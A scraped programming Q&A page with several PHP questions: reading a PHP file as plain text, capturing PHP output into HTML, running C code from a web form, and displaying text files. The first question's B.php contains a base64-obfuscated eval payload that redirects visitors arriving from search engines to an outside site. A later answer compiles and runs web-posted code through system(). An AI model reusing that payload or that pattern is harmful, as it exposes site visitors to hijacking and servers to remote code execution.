I want to use php code in file A.php to read data of an other php file B.php. So the all php scripts in B.php won't execute and it's just the string.
Unfortunately, the data in B.php is executing when I read it in my A.php.
This is the code in A.php :
$handle = #fopen('B.php', 'r') or print " ---> cannot read B.php!";
$filesize = #filesize('B.php');
$str = $filesize ? #fread($handle, $filesize) : null;
#fclose($handle);
if (!$str) {
echo 'B.php is empty!';
exit;
}
else {
//TODO continue process
}
This is the code in B.php :
<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LnN0bHAuNHB1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));?>
NOTE : The B.php file cannot change. My code is in A.php
UPDATE : The data in B.php didn't execute when I read it from A.php. But how could I print the data out? because I use print it by echo $str, nothing is display in the browser.
The code won't be executed except you included that file.
PS: use file_get_contents will be much simple.
$str = file_get_contents('B.php');
Try using file_get_contents to get a plain string of Bs contents
To get all file lines into array use this.
$data = file($filename, FILE_IGNORE_NEW_LINES);
Related
I have a php file that has data coming from the database called Casino-review.php
I just want to copy the php generated output data from this file to a new html file. I have tried lots of other thinks like OB functions, File contents functions, Copy functions, Fopen functions but, nothing work for me. Everthing is working properly creating file copying content but it's showing php code in it. Please help me.
here is the Output.
here is my code
$fileName = $title.".html";
$to = "casinos/all/".$fileName;
$from = "casinos/casino-review.php";
$newcontent = file_get_contents("$from");
if ($createFile = fopen($to, "w+")) {
fread($createFile, filesize($from));
fwrite($createFile, $newcontent);
fclose($createFile);
// echo "Wait for 5 seconds";
// setcookie("file", json_encode($casinoDetails), time() + 7400);
// header("REFRESH: 5;profile/$username/profile.php");
// echo "good";
}
I have finally found my answer
ob_start();
include("$from");
file_put_contents($to, ob_get_contents());
ob_end_clean();
Thanks #Innovin
I am trying to develop something that could execute c programs through php, using system() , exec() commands, and it does execute the c program, but the problem here is - If a c program contains scanf() statement, the system() doesn't ask for user input on a php webpage.
I'm pretty not sure that it can be done.
<?php
$content = $_POST['content']; //Getting the code from web form
$file = fopen("code.cpp","w"); //Opening a file in write mode
fwrite($file,$content); //Store the code to file code.cpp
$my_file = 'code.cpp';
system("gcc {$my_file} 2> error.txt"); //Compile a c program and log the errors to error.txt
$error = file_get_contents("error.txt"); //Getting contents of error.txt to a variable
if($error=='')
system("./a.out"); //Executing the c program
else{
$fp = fopen("error.txt","r");
while (! feof($fp)){ //Printing the output line by line
echo fgets($fp). "<br />";
}
}
fclose($content);
unlink('a.out');
unlink('code.cpp');
?>
I've hosted the php page on a gcc installed ubuntu machine. Any help would be appreciated. Thanks.
Setting aside the security issues...
Create an input file form the data from $_POST.
Redirect the content of the file while executing the progrm.
Here's the updated PHP file.
<?php
$content = $_POST['content']; //Getting the code from web form
$file = fopen("code.cpp","w"); //Opening a file in write mode
fwrite($file,$content); //Store the code to file code.cpp
fclose($file);
$inputData = $_POST['inputData']; //Getting the data from web form
$file = fopen("input.txt","w"); //Opening a file in write mode
fwrite($file,$inputData); //Store the data to file input.txt
fclose($file);
$my_file = 'code.cpp';
system("gcc {$my_file} 2> error.txt");
$error = file_get_contents("error.txt");
if($error=='')
system("./a.out < input.txt");
else {
$fp = fopen("error.txt","r");
while (! feof($fp)){
echo fgets($fp). "<br />";
}
}
unlink('a.out');
unlink('input.txt');
unlink('code.cpp');
?>
I'm creating a html template with notification under nav bar , and admin can change that notification from the system the text of notification bar will be from notetxt file from the same location path where index.html is located i ave tried
<?php
foreach (glob("note.txt") as $filename) {
readfile($filename);
}
?>
and many other way but nothing happens it still stay blank
You are not echoing out the content of the textfile.
do it like this:
$myFile = "note.txt";
$fh = fopen($myFile, 'r');
$theData = fread($fh, filesize($myFile));
fclose($fh);
echo $theData;
This will output your content of the file.
i'm using this code in pure html file
You can't use PHP functions in plain HTML file. MUST be written in a PHP file.
You have now in your code:
<span>
<!--?php
foreach (glob("note.txt") as $filename) {
$fileArr = file_get_contents($filename);
}
?-->
</span>
Try with the examples above in a proper PHP file... then must work.
you can use file_get_contents function,
try something like this :
<?php
foreach (glob("note.txt") as $filename) {
$fileArr = file_get_contents($filename);
}
?>
It's very simple use file_get_contents();
<?= file_exists('note.txt') ? file_get_contents("note.txt") : "file doesn't exists"; ?>
That is all what you need. file_get_contents() get the content of file and returns it. I've also checked if file exists because it may be your problem. Also make sure you have proper rights to read the file(CHMOD) and file is not empty.
I'm using this code now to display a text file on a php/html page.
<?php
foreach (glob("example.txt") as $filename) {
echo nl2br(file_get_contents($filename));
echo "<br></br>";
}
?>
I'm looking for a way to display the example.txt file from another server with URI.
Something like this: http://address.com/dir/example.txt
Is there a simple way to do this?
(I would use an iframe but it's not possible to style the text without Java or JQuery).
You could just use
file_get_contents('http://address.com/dir/example.txt');
You code is totally wrong
foreach (glob("example.txt") as $filename) {
^------------------------- searching for a file
They can only one example.txt file in a folder at a time except you want to get all text files should should be like this in the first place
foreach (glob("*.txt") as $filename) {
If that is not the case the code would work for both remote and local file
error_reporting(E_ALL);
ini_set("display_errors", "on");
$fileName = "example.txt" ; // or http://oursite.com/example.txt
echo nl2br(file_get_contents($fileName));
echo "<br></br>";
You will have to use CURL to fetch the content of the file first and then display it.
Another option is to use iframes and set the target of iframe to the desired text file.
Yet another option is to use ajax to fetch the content from client end as suggested in comment.
Check fopen() / fread() and your available transport wrappers.
For normal length text file you can use:
<?PHP
$file = fopen("http://www.xyz.com/textfile.txt", "rb");
$output = fread($file, 8192);
fclose($file);
echo($output);
echo "<br>";
?>
For longer files:
<?PHP
$file = fopen("http://www.xyz.com/textfile.txt", "rb");
$output = '';
while (!feof($file)) {
$output .= fread($file, 8192);
}
fclose($file);
echo($output);
echo "<br>";
?>
It will prevent packet exceed issues in longer files by concatenating the file together in several groupings using while loop
I'm struggling trying to read a php file inside a php and do some manipulation..after that have the content as a string, but when I try to output that with echo or print all the php tags are literally included on the file.
so here is my code:
function compilePage($page,$path){
$contents = array();
$menu = getMenuFor($page);
$file = file_get_contents($path);
array_push($contents,$menu);
array_push($contents,$file);
return implode("\n",$contents);
}
and this will return a string like
<div id="content>
<h2>Here is my title</h2>
<p><? echo "my body text"; ?></p>
</div>
but this will print exactly the content above not compiling the php on it.
So, how can I render this "compilePage" making sure it returns a compiled php result and not just a plain text?
Thanks in advance
function compilePage($page, $path) {
$contents = getMenuFor($page);
ob_start();
include $path;
$contents .= "\n".ob_get_clean();
return $contents;
}
To evaluate PHP code in a string you use the eval function, but this comes highly unadvised. If you have a file containing PHP code, you can evaluate it with include, include_once, require, or require_once depending on your need. To capture the output of an included file - or required, or whichever method - you need to enable output buffering.
You can use output buffering for this, and include the file normally:
function compilePage($page,$path){
$contents = array();
$menu = getMenuFor($page);
ob_start();
include $path;
$file = ob_get_contents();
ob_end_clean();
array_push($contents,$menu);
array_push($contents,$file);
return implode("\n",$contents);
}
The include() call will include the PHP file normally, and <?php blocks will be parsed and executed. Any output will be captured by the buffer created with ob_start(), and you can get it later with the other ob_* functions.
You need to use include() so it will execute. You can couple this with output buffering to get the return in a string.
function compilePage($page,$path){
$contents = array();
$menu = getMenuFor($page);
//output buffer
ob_start();
include($path);
$file = ob_get_contents();
ob_end_clean();
array_push($contents,$menu);
array_push($contents,$file);
return implode("\n",$contents);
}